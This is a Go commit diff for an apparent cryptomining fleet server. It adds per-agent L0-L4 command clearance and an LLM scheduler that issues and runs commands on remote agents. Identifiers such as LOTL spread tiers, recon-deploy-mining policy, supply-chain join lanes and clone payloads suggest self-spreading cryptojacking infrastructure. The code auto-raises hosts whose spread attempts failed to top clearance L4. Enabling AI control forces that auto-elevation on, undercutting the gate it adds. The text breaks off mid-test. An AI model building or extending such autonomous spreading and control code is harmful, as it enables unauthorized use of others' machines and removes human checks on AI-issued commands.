Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
@@ -78,6 +78,9 @@ type AISnapshot struct {
|
||||
|
||||
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
|
||||
Stuck bool `json:"stuck"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
|
||||
@@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
||||
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
|
||||
ChainExhausted: ms.ChainExhausted,
|
||||
}
|
||||
c.mu.Lock()
|
||||
snap.ClearanceLevel = c.clearanceLevel
|
||||
if len(c.atlasSkips) > 0 {
|
||||
snap.AtlasSkips = c.atlasSkipsSnapshot()
|
||||
}
|
||||
if c.inheritedPhenotype != nil {
|
||||
copy := *c.inheritedPhenotype
|
||||
snap.InheritedPhenotype = ©
|
||||
}
|
||||
c.mu.Unlock()
|
||||
snap.Stuck = aiSnapshotStuck(snap, ms)
|
||||
|
||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
|
||||
|
||||
@@ -64,11 +64,17 @@ type AgentClient struct {
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
||||
adaptiveStrategy AdaptiveStrategy
|
||||
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
|
||||
atlasSkips []AtlasSkip
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||
joinLane string
|
||||
// clearanceLevel is the server-granted security clearance (L0–L4).
|
||||
clearanceLevel int
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -384,6 +390,11 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
c.clearanceLevel = resp.ClearanceLevel
|
||||
c.mu.Unlock()
|
||||
}
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
@@ -488,6 +499,15 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pushAISnapshot(hps)
|
||||
}()
|
||||
case "clearance_update":
|
||||
var payload struct {
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
|
||||
c.mu.Lock()
|
||||
c.clearanceLevel = payload.ClearanceLevel
|
||||
c.mu.Unlock()
|
||||
}
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
@@ -1130,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
stats.AtlasSkips = atlasSkips
|
||||
}
|
||||
if lastVulnReport != nil {
|
||||
score := lastVulnReport.RiskScore
|
||||
stats.VulnRiskScore = &score
|
||||
|
||||
@@ -7,6 +7,9 @@ import (
|
||||
"log"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// SnapshotProvider supplies live agent telemetry for decision cycles.
|
||||
@@ -27,30 +30,40 @@ type ConfigProvider interface {
|
||||
|
||||
// DecisionStore persists decision audit rows.
|
||||
type DecisionStore interface {
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error
|
||||
}
|
||||
|
||||
// ClearanceElevator raises agent clearance for stuck-host recovery.
|
||||
type ClearanceElevator interface {
|
||||
Level(agentID string) int
|
||||
RequestElevation(agentID string, toLevel int, reason, source string) (int, error)
|
||||
}
|
||||
|
||||
// Scheduler runs periodic LLM decisions for online agents.
|
||||
type Scheduler struct {
|
||||
cfg ConfigProvider
|
||||
snap SnapshotProvider
|
||||
exec CommandExecutor
|
||||
store DecisionStore
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
cfg ConfigProvider
|
||||
snap SnapshotProvider
|
||||
exec CommandExecutor
|
||||
store DecisionStore
|
||||
court CourtContext
|
||||
elevator ClearanceElevator
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
lastRunMu sync.Mutex
|
||||
lastRun map[string]time.Time
|
||||
}
|
||||
|
||||
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler {
|
||||
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler {
|
||||
return &Scheduler{
|
||||
cfg: cfg,
|
||||
snap: snap,
|
||||
exec: exec,
|
||||
store: store,
|
||||
stop: make(chan struct{}),
|
||||
lastRun: make(map[string]time.Time),
|
||||
cfg: cfg,
|
||||
snap: snap,
|
||||
exec: exec,
|
||||
store: store,
|
||||
court: court,
|
||||
elevator: elevator,
|
||||
stop: make(chan struct{}),
|
||||
lastRun: make(map[string]time.Time),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,6 +96,16 @@ func (s *Scheduler) Tick() {
|
||||
s.tick()
|
||||
}
|
||||
|
||||
// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only).
|
||||
func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) {
|
||||
s.lastRunMu.Lock()
|
||||
defer s.lastRunMu.Unlock()
|
||||
if s.lastRun == nil {
|
||||
s.lastRun = make(map[string]time.Time)
|
||||
}
|
||||
s.lastRun[agentID] = time.Now().Add(-ago)
|
||||
}
|
||||
|
||||
func (s *Scheduler) tick() {
|
||||
if s.cfg == nil || s.snap == nil {
|
||||
return
|
||||
@@ -129,9 +152,37 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
userPrompt := BuildUserPrompt(snap)
|
||||
systemPrompt := SystemPrompt()
|
||||
promptHash := hashPrompt(userPrompt)
|
||||
s.maybeAutoElevate(agentID, snap, cfg)
|
||||
if s.elevator != nil {
|
||||
snap.ClearanceLevel = s.elevator.Level(agentID)
|
||||
}
|
||||
var systemPrompt, userPrompt string
|
||||
var courtMeta *CourtDecisionMeta
|
||||
useCourt := ShouldUseCourt(snap)
|
||||
if useCourt {
|
||||
atlasSummary := ""
|
||||
var phenotype *strategy.FleetPhenotype
|
||||
if s.court != nil {
|
||||
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||
if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok {
|
||||
phenotype = p
|
||||
}
|
||||
}
|
||||
persona := NormalizePersona(cfg.Persona)
|
||||
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
|
||||
systemPrompt = bundle.SystemPrompt
|
||||
userPrompt = bundle.UserPrompt
|
||||
courtMeta = &CourtDecisionMeta{
|
||||
CourtSession: true,
|
||||
ProsecutorSnippet: bundle.ProsecutorSnippet,
|
||||
DefenderSnippet: bundle.DefenderSnippet,
|
||||
}
|
||||
} else {
|
||||
systemPrompt = PersonaSystemPrompt(cfg.Persona)
|
||||
userPrompt = BuildMissionPrompt(snap)
|
||||
}
|
||||
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
|
||||
|
||||
decide := Decide
|
||||
if DecideFunc != nil {
|
||||
@@ -141,12 +192,15 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
if err != nil {
|
||||
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error())
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
|
||||
}
|
||||
s.markRun(agentID)
|
||||
return
|
||||
}
|
||||
|
||||
if courtMeta != nil {
|
||||
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||
}
|
||||
cmds := ParseCommands(response)
|
||||
results := make([]string, 0, len(cmds))
|
||||
for _, cmd := range cmds {
|
||||
@@ -167,11 +221,28 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
}
|
||||
executed := FormatExecuted(cmds, results)
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed)
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
|
||||
}
|
||||
s.markRun(agentID)
|
||||
}
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
|
||||
if !cfg.AutoElevateClearance || s.elevator == nil {
|
||||
return
|
||||
}
|
||||
if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold {
|
||||
return
|
||||
}
|
||||
if s.elevator.Level(agentID) >= clearance.L4 {
|
||||
return
|
||||
}
|
||||
if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil {
|
||||
log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
func hashPrompt(prompt string) string {
|
||||
h := sha256.Sum256([]byte(prompt))
|
||||
return hex.EncodeToString(h[:8])
|
||||
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
)
|
||||
|
||||
type mockSnap struct {
|
||||
@@ -38,7 +40,7 @@ type mockStore struct {
|
||||
rows []string
|
||||
}
|
||||
|
||||
func (m *mockStore) InsertAIDecision(_, _, _, executed string) error {
|
||||
func (m *mockStore) InsertAIDecision(_, _, _, executed string, _ *CourtDecisionMeta) error {
|
||||
m.mu.Lock()
|
||||
m.rows = append(m.rows, executed)
|
||||
m.mu.Unlock()
|
||||
@@ -59,6 +61,8 @@ func TestSchedulerExecutesRestartCommand(t *testing.T) {
|
||||
&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
|
||||
exec,
|
||||
store,
|
||||
nil,
|
||||
nil,
|
||||
)
|
||||
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
@@ -84,9 +88,77 @@ func TestSchedulerNoOpWhenDisabled(t *testing.T) {
|
||||
&mockSnap{ids: []string{"agent-1"}},
|
||||
exec,
|
||||
nil,
|
||||
nil,
|
||||
nil,
|
||||
)
|
||||
sched.Tick()
|
||||
if len(exec.calls) != 0 {
|
||||
t.Fatalf("expected no calls")
|
||||
}
|
||||
}
|
||||
|
||||
type mockElevator struct {
|
||||
mu sync.Mutex
|
||||
requests []struct {
|
||||
agentID string
|
||||
toLevel int
|
||||
reason string
|
||||
source string
|
||||
}
|
||||
level int
|
||||
}
|
||||
|
||||
func (m *mockElevator) Level(string) int {
|
||||
if m.level > 0 {
|
||||
return m.level
|
||||
}
|
||||
return clearance.L1
|
||||
}
|
||||
|
||||
func (m *mockElevator) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.requests = append(m.requests, struct {
|
||||
agentID string
|
||||
toLevel int
|
||||
reason string
|
||||
source string
|
||||
}{agentID, toLevel, reason, source})
|
||||
m.level = toLevel
|
||||
return toLevel, nil
|
||||
}
|
||||
|
||||
func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||
return `{"commands":[{"type":"noop","args":{}}]}`, nil
|
||||
}
|
||||
|
||||
elevator := &mockElevator{}
|
||||
sched := NewScheduler(
|
||||
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1, AutoElevateClearance: true}},
|
||||
&mockSnap{
|
||||
ids: []string{"stuck-1"},
|
||||
snap: AgentSnapshot{
|
||||
AgentID: "stuck-1", Name: "host", Stuck: true, FailedTierCount: 14,
|
||||
},
|
||||
},
|
||||
&mockExec{},
|
||||
&mockStore{},
|
||||
nil,
|
||||
elevator,
|
||||
)
|
||||
sched.lastRun["stuck-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
elevator.mu.Lock()
|
||||
defer elevator.mu.Unlock()
|
||||
if len(elevator.requests) != 1 {
|
||||
t.Fatalf("expected 1 elevation, got %+v", elevator.requests)
|
||||
}
|
||||
req := elevator.requests[0]
|
||||
if req.toLevel != clearance.L4 || req.reason != "stuck host recovery" {
|
||||
t.Fatalf("unexpected elevation: %+v", req)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -33,6 +33,11 @@ type AgentSnapshot struct {
|
||||
SpreadState string
|
||||
VulnRisk *int
|
||||
|
||||
Stuck bool
|
||||
FailedTierCount int
|
||||
ClearanceLevel int
|
||||
FingerprintKey string
|
||||
|
||||
AdaptiveSummary string
|
||||
Adaptive *strategy.AdaptiveStrategy
|
||||
}
|
||||
@@ -45,11 +50,13 @@ type Command struct {
|
||||
|
||||
// Config holds runtime Fleet AI Control settings.
|
||||
type Config struct {
|
||||
Enabled bool
|
||||
Endpoint string
|
||||
Model string
|
||||
NoContext bool
|
||||
IntervalSec int
|
||||
Enabled bool
|
||||
Endpoint string
|
||||
Model string
|
||||
NoContext bool
|
||||
IntervalSec int
|
||||
AutoElevateClearance bool
|
||||
Persona string
|
||||
}
|
||||
|
||||
// DecisionRecord is persisted for the UI timeline.
|
||||
|
||||
146
server/internal/api/clearance.go
Normal file
146
server/internal/api/clearance.go
Normal file
@@ -0,0 +1,146 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
// ClearanceManager returns the hub's session clearance tracker.
|
||||
func (h *WSHub) ClearanceManager() *ClearanceManager {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
return h.clearance
|
||||
}
|
||||
|
||||
// ClearanceManager tracks per-agent session clearance and broadcasts changes.
|
||||
type ClearanceManager struct {
|
||||
hub *WSHub
|
||||
mu sync.RWMutex
|
||||
// agentClearance holds live session clearance keyed by agent ID.
|
||||
agentClearance map[string]int
|
||||
}
|
||||
|
||||
func NewClearanceManager(hub *WSHub) *ClearanceManager {
|
||||
return &ClearanceManager{
|
||||
hub: hub,
|
||||
agentClearance: make(map[string]int),
|
||||
}
|
||||
}
|
||||
|
||||
// InitAgent sets baseline clearance when an agent connects.
|
||||
func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
|
||||
if m == nil {
|
||||
return clearance.DefaultClearance(agent)
|
||||
}
|
||||
level := clearance.DefaultClearance(agent)
|
||||
m.mu.Lock()
|
||||
m.agentClearance[agentID] = level
|
||||
m.mu.Unlock()
|
||||
m.pushToAgent(agentID, level)
|
||||
return level
|
||||
}
|
||||
|
||||
// RemoveAgent drops session clearance state.
|
||||
func (m *ClearanceManager) RemoveAgent(agentID string) {
|
||||
if m == nil {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
delete(m.agentClearance, agentID)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Level returns the current session clearance for an agent.
|
||||
func (m *ClearanceManager) Level(agentID string) int {
|
||||
if m == nil {
|
||||
return clearance.L0
|
||||
}
|
||||
m.mu.RLock()
|
||||
level, ok := m.agentClearance[agentID]
|
||||
m.mu.RUnlock()
|
||||
if ok {
|
||||
return level
|
||||
}
|
||||
if m.hub != nil && m.hub.db != nil {
|
||||
if agent, err := m.hub.db.GetAgent(agentID); err == nil && agent != nil {
|
||||
return clearance.DefaultClearance(agent)
|
||||
}
|
||||
}
|
||||
return clearance.L0
|
||||
}
|
||||
|
||||
// RequestElevation raises clearance when needed and notifies dashboards.
|
||||
func (m *ClearanceManager) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
|
||||
if m == nil {
|
||||
return clearance.L0, nil
|
||||
}
|
||||
current := m.Level(agentID)
|
||||
newLevel, err := clearance.RequestElevation(m.hub.db, agentID, current, toLevel, reason, source)
|
||||
if err != nil {
|
||||
return current, err
|
||||
}
|
||||
if newLevel <= current {
|
||||
return current, nil
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.agentClearance[agentID] = newLevel
|
||||
m.mu.Unlock()
|
||||
m.pushToAgent(agentID, newLevel)
|
||||
m.broadcastElevation(agentID, current, newLevel, reason, source)
|
||||
return newLevel, nil
|
||||
}
|
||||
|
||||
func (m *ClearanceManager) pushToAgent(agentID string, level int) {
|
||||
if m == nil || m.hub == nil {
|
||||
return
|
||||
}
|
||||
_ = m.hub.SendToAgent(agentID, Message{
|
||||
Type: "clearance_update",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"clearance_level": level,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (m *ClearanceManager) broadcastElevation(agentID string, fromLevel, toLevel int, reason, source string) {
|
||||
if m == nil || m.hub == nil {
|
||||
return
|
||||
}
|
||||
m.hub.broadcastDashboard(Message{
|
||||
Type: "clearance_elevated",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"from_level": fromLevel,
|
||||
"to_level": toLevel,
|
||||
"reason": reason,
|
||||
"source": source,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// ClearanceGuardExecutor wraps FleetAIExecutor with clearance enforcement.
|
||||
type ClearanceGuardExecutor struct {
|
||||
Inner *FleetAIExecutor
|
||||
Clearance *ClearanceManager
|
||||
}
|
||||
|
||||
func (e *ClearanceGuardExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
|
||||
if e == nil || e.Inner == nil {
|
||||
return "", fmt.Errorf("executor unavailable")
|
||||
}
|
||||
level := clearance.L0
|
||||
if e.Clearance != nil {
|
||||
level = e.Clearance.Level(agentID)
|
||||
}
|
||||
if err := clearance.EnforceClearance(cmd.Type, cmd.Args, level); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return e.Inner.Execute(agentID, cmd)
|
||||
}
|
||||
@@ -6,17 +6,20 @@ import (
|
||||
"strings"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
|
||||
type FleetAIConfigView struct {
|
||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||
AIEndpoint string `json:"ai_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
AINoContext bool `json:"ai_no_context"`
|
||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||
AIEndpoint string `json:"ai_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
AINoContext bool `json:"ai_no_context"`
|
||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
||||
AIPersona string `json:"ai_persona"`
|
||||
}
|
||||
|
||||
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
|
||||
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
||||
h.mu.RUnlock()
|
||||
|
||||
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
|
||||
if engine != nil {
|
||||
fp := engine.AgentFingerprint(agentID)
|
||||
if fp.GOOS == "" {
|
||||
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
}
|
||||
snap.FingerprintKey = fp.Key()
|
||||
}
|
||||
snap.Stuck = fleetai.ComputeStuck(snap)
|
||||
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
|
||||
if engine != nil && !aiMode {
|
||||
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
|
||||
n := int(v)
|
||||
snap.VulnRisk = &n
|
||||
}
|
||||
if v, ok := tel["stuck"].(bool); ok {
|
||||
snap.Stuck = v
|
||||
}
|
||||
}
|
||||
|
||||
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
|
||||
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
|
||||
for _, a := range attempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
failed := 0
|
||||
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||
if a, ok := attemptByTier[tier]; ok && !a.OK {
|
||||
failed++
|
||||
}
|
||||
}
|
||||
return failed
|
||||
}
|
||||
|
||||
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
|
||||
type DatabaseCourtAdapter struct {
|
||||
DB interface {
|
||||
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
|
||||
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
|
||||
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
|
||||
if a == nil || a.DB == nil {
|
||||
return ""
|
||||
}
|
||||
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return summary
|
||||
}
|
||||
|
||||
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
|
||||
if a == nil || a.DB == nil {
|
||||
return nil, false
|
||||
}
|
||||
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
|
||||
if err == nil && stored != nil {
|
||||
p := strategy.PhenotypeFromStored(*stored)
|
||||
return &p, true
|
||||
}
|
||||
rows, err := a.DB.ListFleetPhenotypes("")
|
||||
if err != nil || len(rows) == 0 || goos == "" {
|
||||
return nil, false
|
||||
}
|
||||
prefix := goos + "|"
|
||||
var best *db.StoredPhenotype
|
||||
for i := range rows {
|
||||
row := &rows[i]
|
||||
if !strings.HasPrefix(row.Fingerprint, prefix) {
|
||||
continue
|
||||
}
|
||||
if best == nil || row.PeakHashrate > best.PeakHashrate {
|
||||
best = row
|
||||
}
|
||||
}
|
||||
if best == nil {
|
||||
return nil, false
|
||||
}
|
||||
p := strategy.PhenotypeFromStored(*best)
|
||||
return &p, true
|
||||
}
|
||||
|
||||
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
|
||||
@@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
|
||||
endpoint = "http://127.0.0.1:11434/v1"
|
||||
}
|
||||
return fleetai.Config{
|
||||
Enabled: v.AIControlEnabled,
|
||||
Endpoint: endpoint,
|
||||
Model: strings.TrimSpace(v.AIModel),
|
||||
NoContext: v.AINoContext,
|
||||
IntervalSec: interval,
|
||||
Enabled: v.AIControlEnabled,
|
||||
Endpoint: endpoint,
|
||||
Model: strings.TrimSpace(v.AIModel),
|
||||
NoContext: v.AINoContext,
|
||||
IntervalSec: interval,
|
||||
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
|
||||
Persona: fleetai.NormalizePersona(v.AIPersona),
|
||||
}
|
||||
}
|
||||
|
||||
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
|
||||
type DatabaseAIDecisionStore struct {
|
||||
DB interface {
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
|
||||
}
|
||||
}
|
||||
|
||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
|
||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
|
||||
if s == nil || s.DB == nil {
|
||||
return nil
|
||||
}
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
|
||||
if court == nil {
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
|
||||
}
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
|
||||
}
|
||||
|
||||
@@ -88,3 +88,33 @@ func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
func (h *FleetAIHandler) GetClearanceEvents(w http.ResponseWriter, r *http.Request) {
|
||||
if h.db == nil {
|
||||
writeJSON(w, []db.ClearanceEvent{})
|
||||
return
|
||||
}
|
||||
listFn, ok := h.db.(interface {
|
||||
ListClearanceEvents(agentID string, limit int) ([]db.ClearanceEvent, error)
|
||||
})
|
||||
if !ok {
|
||||
writeJSON(w, []db.ClearanceEvent{})
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||
limit := 50
|
||||
if raw := r.URL.Query().Get("limit"); raw != "" {
|
||||
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
rows, err := listFn.ListClearanceEvents(agentID, limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []db.ClearanceEvent{}
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/pool"
|
||||
|
||||
@@ -385,6 +386,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if id != "all" {
|
||||
level := clearance.L0
|
||||
if mgr := f.ws.ClearanceManager(); mgr != nil {
|
||||
level = mgr.Level(id)
|
||||
}
|
||||
if err := clearance.EnforceAction(req.Action, level); err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
args := map[string]interface{}{}
|
||||
if req.TailLines > 0 {
|
||||
args["tail_lines"] = req.TailLines
|
||||
@@ -599,7 +615,16 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
sent := 0
|
||||
failed := 0
|
||||
mgr := f.ws.ClearanceManager()
|
||||
for _, id := range req.AgentIDs {
|
||||
level := clearance.L0
|
||||
if mgr != nil {
|
||||
level = mgr.Level(id)
|
||||
}
|
||||
if err := clearance.EnforceAction(req.Action, level); err != nil {
|
||||
failed++
|
||||
continue
|
||||
}
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
|
||||
46
server/internal/clearance/clearance_test.go
Normal file
46
server/internal/clearance/clearance_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package clearance
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestL2AgentCannotExecShellWithoutElevation(t *testing.T) {
|
||||
const agentClearance = L2
|
||||
|
||||
cases := []struct {
|
||||
cmdType string
|
||||
args map[string]interface{}
|
||||
}{
|
||||
